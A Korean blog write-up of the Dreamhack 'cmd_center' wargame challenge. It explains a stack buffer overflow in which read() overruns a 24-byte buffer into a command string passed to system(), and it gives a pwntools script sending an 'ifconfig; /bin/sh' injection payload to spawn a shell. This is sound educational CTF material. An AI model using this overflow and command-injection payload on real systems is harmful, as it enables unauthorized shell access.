1. 개요
이번에 풀 문제는 버퍼 오버플로우(Buffer Overflow) 관련된 것으로, 입력받는 값이 버퍼를 가득 채워버려서 버퍼 이후의 공간까지 침범한 후 원하는 명령어로 조작하거나 다른 정보도 확인할 수도 있는 취약점이다.
일단 난 못알아먹을 거 같으니 좀 간단히라도 써보려고 한다.
cmd_center
Description IP를 확인할 필요가 없습니다! 혹시 다른 명령어는 못쓰나요? 다른 명령어를 사용했다면 플래그를 획득하세요! References https://dreamhack.io/learn/2/1#3 https://dreamhack.io/learn/2/14#3
dreamhack.io
2. 문제 분석
일단 코드를 열어봤더니 다음처럼 나왔다. 내 눈엔 뭐가 이리저리 많아서 복잡해보이지만 다음에서 코드를 간단히 설명해보겠다.

2-1. 스택과 스택 버퍼
char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
- 첫번째 명령줄
문자형(char) 배열으로 256바이트 배열을 만들었는데 이름은 cmd_ip이다.
"ifconfig" 라는 명령어는 이 배열 안에 각각 1바이트씩 차지하고 있는 상태. - 두번째 명령줄
4바이트짜리 정수형(int) 변수를 선언했는데 이름이 dummy다. 말 그대로 그냥 더미다 - 세번째 명령줄
첫번째 명령줄과 비슷하게 문자형 배열으로 24바이트 배열을 만들었는데 이름은 center_name.
얘는 별다른 입력 없이 그냥 선언만 된 걸 보면 아마 입력값을 받는 곳일 거 같다.
이 세가지를 선언한 후 컴퓨터 메모리에선 어떤 일이 생기고 있는데.. (그림판으로 그려서 똥같다)
- 프로그램에서 선언한 cmd_ip > dummy > cmd_center 순으로 스택에 쌓이기 시작한다.
- 이 삼형제는 각자의 데이터를 저장하는 버퍼인데 마침 cmd_ip는 ifconfig라는 명령어 하나를 가지고 있는 상태다.

[참고용어] 스택과 버퍼
- 스택(Stack) : 메모리의 일부로, 지역 변수 및 함수의 매개변수가 저장되는 영역.
함수가 호출될 때마다 새로운 스택 프레임이 생성되며, 함수가 끝나면 해당 스택 프레임이 제거됨. - 버퍼(Buffer) : 데이터를 임시로 저장하는 메모리 공간.
cmd_center, dummy, cmd_ip도 스택 내에서 선언된 변수이므로 "스택 버퍼"에 해당.
다만, 버퍼는 단순히 데이터를 저장하는 역할, 스택은 함수 호출/복귀까지 관리하는 차이가 있음.
2-2. 초과된 배열과 버퍼오버플로우 (Buffer Over Flow)
printf("Center name: ");
read(0, center_name, 100);
이 문제에서 다룰 수 있는 대망의 하이라이트, read 함수이다.
간단히 설명하자면 얘는 입력 값의 크기를 제한 두지 않고 곧이곧대로 그 크기만큼 입력받는 애다.
앞서 2-1에서 선언된 center_name 배열엔 24바이트만큼 크기가 주어진 상황인데, 여기선 100바이트를 입력받고 있다.
이게 대충 뭔 소리냐면
기차 = cmd_ip, dummy, center_name
좌석 수 = 256, 4, 24
승무원 = read
사람 = 100 이라고 치자.
- 세가지의 기차는 각각의 좌석 수(버퍼 크기)를 가지고 있다
- center_name칸에 좌석이 24석뿐인데, read라는 승무원이 사람 100명을 욱여넣고 있다.
- 초과된 76명은 dummy칸, cmd_ip칸까지 밀려 들어가면서 기존 좌석에 있던 사람은 밀려나고 새로운 사람이 자리를 차지하게 된다.(=원래 ifconfig가 덮어씌워져 사라진다)
- 만약 밀려 들어온 사람들 중에 바이러스 감염자가 있다면? 악성 명령어가 cmd_ip에 들어가면서 실행될 수 있다
한마디로, 허용인원이 초과하는 것도 문젠데 와중에 위험한 승객이 타고 있는 상황이다.
2-3. strcmp와 명령어 주입 공격 (Command Injection)
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
이 부분을 간단하게 설명해보자면, cmd_ip의 처음 8바이트가 ifconfig이기만 하면 시스템 명령어를 실행한다는 소리다.
물론 난 간단하게 설명해줘도 이해가 안가니 명령어를 하나씩 설명해보겠다.
- strcmp(cmd_ip, "ifconfig", 8) : cmd_ip의 앞의 8자리가 ifconfig라면 참이므로 0을 반환할건데, 반대로 8자리보다 길면 1, 적으면 -1을 반환할 거란 소리다.
- ! : 논리부정연산자로 !0이라면 네가 8자리가 ifconfig니까 0을 반환한 건 인정했는데 결과만 뒤집어서 1을 반환한다는 얘기다. 반대로 !1이면 그대로 꺼버리겠단 소리
- 참고로 c언어에서 0은 false, 1은 true라는 의미다. 마지막은 표에 정리해둔다.
결국 같은 표현이지만 컴퓨터가 알아먹은 걸로 설명하자면 이거다.
- 난 네가 쓴 문자열 cmd_ip가 앞에 8자리가 ifconfig면 0을 반환해줄게
- 근데 난 1을 true라고 여기니까 논리부정연산자로 결과를 뒤집을 거야
- 만약 1이면 cmd_ip에 적힌 걸 system 명령어로 실행할 거야
| strcmp(a,b) 문자열 비교 시 반환값 | 논리 부정 연산자 ! | |
| 둘이 같을 경우 | 0 | 1 (true) |
| a가 b보다 큰 문자열일 경우 | 1 | 0 (false) |
| a보다 b가 큰 문자열일 경우 | -1 | 0 (false) |
3. 그래서 어떻게 익스플로잇 할 것인가?
밀려들어간 사람들 중 바이러스 감염자를 만들기 위한 작업으로, read에겐 100바이트와 함께 명령어 쉘을 실행시킬 거다.
from pwn import *
p = remote('host1.dreamhack.games', 16386)
p.recvuntil(b'Center name: ') # 여기서 정확히 프롬프트를 받도록 기다려준다.
payload = b'A'*0x20 + b'ifconfig; /bin/sh' # 기존 payload 확인
p.sendline(payload) # sendline만 사용
p.interactive()
- b'A'0x20 : cmd_ip 영역의 일부가 덮어씌워진 상항에서 쓰레기 값이 섞여있을 가능성이 높으므로 이 배열의 앞부분 32바이트 정도를 A로 채워주면서 이전 데이터를 정리한다.
- ifconfig; /bin/sh : A 뒤에 입력한 명령어로, ifconfig가 끝나면 뒤에 명령어 쉘을 실행한다 = system(cmd_ip) 동작
- 만약 A로 정리 안해두고 그냥 명령어를 입력하게 되면 배열은 이렇게 되어있어서 명령어가 꼬이거나 실행 안될 수도 있다. "adjlakjflajfljaldjfljflkkldffifconfig; /bin/sh "
4. 실습 영상
동영상 서비스가 종료되어 해당 콘텐츠를 재생할 수 없습니다.
5. [번외] 코드 오류가 생길 경우


원래는 sendlineafter를 사용했는데 입력을 기다리는 과정에서 예상한 문자열이 제대로 출력되지 않았는지 오류가 계속 발생했다.지금 같은 오류가 출력되는 경우 아까 4번에 적어둔 코드처럼 recvuntil을 쓰면 원하는 문자열이 나올 때까지 기다릴 수 있어서, 입력 타이밍이 어긋나는 문제를 해결할 수 있다.
(다시 해봤는데 왜 지금은 또 되는지 알다가도 모르겠다 ?-?)
'컴퓨터 > 드림핵' 카테고리의 다른 글
| [드림핵] Race with me? 풀이 (0) | 2025.03.01 |
|---|